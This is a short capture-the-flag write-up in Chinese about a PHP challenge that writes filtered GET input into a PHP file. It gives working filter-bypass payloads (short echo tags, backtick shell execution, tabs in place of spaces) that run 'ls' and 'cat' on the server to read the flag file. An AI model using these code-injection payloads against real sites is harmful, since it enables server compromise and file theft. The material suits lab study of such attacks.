<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}
function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>
这道题可以传入两个值,action和data
?action=pwd
输出的是这个页面的储存路径
data中传的值会写入index.php中
但是data传的东西会被过滤
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}
}
需要写入的数据:
<?php system('ls \')?>
php被过滤了改成<?= ?>标签
' 被过滤了可以用``代替
空格被过滤了用\t
?action=upload&data=<?=`ls\t/`?>
?action=upload&data=<?=`cat\t/flllllll1112222222lag`?>
然后查地址就行了
或用*代替flllllll1112222222lag,直接查出当前目录下的所有文件
?action=upload&data=<?=`cat\t/*`?>